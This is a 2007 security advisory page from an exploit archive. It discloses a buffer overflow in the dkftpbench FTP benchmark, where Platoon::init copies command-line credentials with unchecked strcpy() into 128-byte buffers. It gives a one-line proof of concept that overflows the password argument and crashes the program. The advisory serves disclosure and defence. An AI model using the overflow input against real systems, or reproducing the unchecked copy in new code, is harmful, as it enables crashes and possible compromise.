exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

dkftpbench.txt

dkftpbench.txt
Posted Mar 20, 2007
Authored by starcadi

The dkftpbench program is susceptible to a buffer overflow condition.

tags | advisory, overflow
SHA-256 | 024326848bd30cecfcf8df7aca5cb4c247e5d6eb32d0b454101d67d746112986

dkftpbench.txt

Change Mirror Download
Description:

dkftpbench is an FTP benchmark program inspired by SPECweb99. The
result of the benchmark is a number-of-simultaneous-users rating;
after running the benchmark properly, you have a good idea how many
simultaneous dialup clients a server can support. The target bandwidth
per client is set at 28.8 kilobits/second to model dialup users; this
is important for servers on the real Internet, which often serve
thousands of clients on only 10 MBits/sec of bandwidth.
Found buffer overflow in Platoon::init function using strcpy() with no
sizelen control.
source: http://www.kegel.com/dkftpbench/

Source error:

in main():
--
int main(int argc, char **argv)
{
[..]
const char *arg_username = "anonymous";
const char *arg_password = "robouser@";

[..]
} else if (!strncmp(argv[i], "-u", 2)) {
arg_username = &argv[i][2];
} else if (!strncmp(argv[i], "-p", 2)) {
arg_password = &argv[i][2];

[..]
Platoon thePlatoon;
thePlatoon.init(poller, &sked, arg_filename,
arg_clientBandwidth, arg_minClientBandwidth, arg_mtu,
arg_hostname, arg_portnum, arg_username, arg_password,
local_addrs, n_local_addrs);

[..]
}
--

in Platoon.h:
--
/// The user name part of the URL to fetch
char m_username[128];
/// The password part of the URL to fetch
char m_passwd[128];
--

in Platoon.c:
--
void Platoon::init(Poller *poller, Sked *sked, const char *filename,
int maxBytesPerSec, int minBytesPerSec, int bytesPerRead,
const char *servername, int port,
const char *username, const char *passwd,
struct sockaddr_in *local_addrs, int n_local_addrs)
{
[..]
m_port = port;
m_sked = sked;
strcpy(m_passwd, passwd);
strcpy(m_servername, servername);
strcpy(m_username, username);
m_verbosity = 0;
m_local_addrs = local_addrs;
[..]
}
--

Proof of concept:

$ dkftpbench -n1 -hlocalhost -p21 -u test -p`perl -e "print 'A'x135"` -v1
-h127.0.0.1 host name of ftp server
-P21 port number of ftp server
-n1 number of users
-c1 target number of simultaneous connection attempts
-k2 Start next connection when: 1=immediately, 2=after prev connect complete
-t0 length of run (in seconds)
-b3600 desired bandwidth (in bytes per second)
-B2700 min acceptable per-client bandwidth (in bytes per second)
-ufederico user name
-paaaaaa[..]
-fusenet/rec.juggling/juggling.FAQ.Z file to fetch
-m1500 bytes per 'packet'
-v1 verbosity
-sp selector (p=poll, s=select, d=/dev/poll, k=kqueue, r=rtsig, f=sig-per-fd)
-a0 use all local interfaces
Using poll()
Segmentation fault
$

--
.original http://intel.shacknet.nu/
~ starcadi

Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close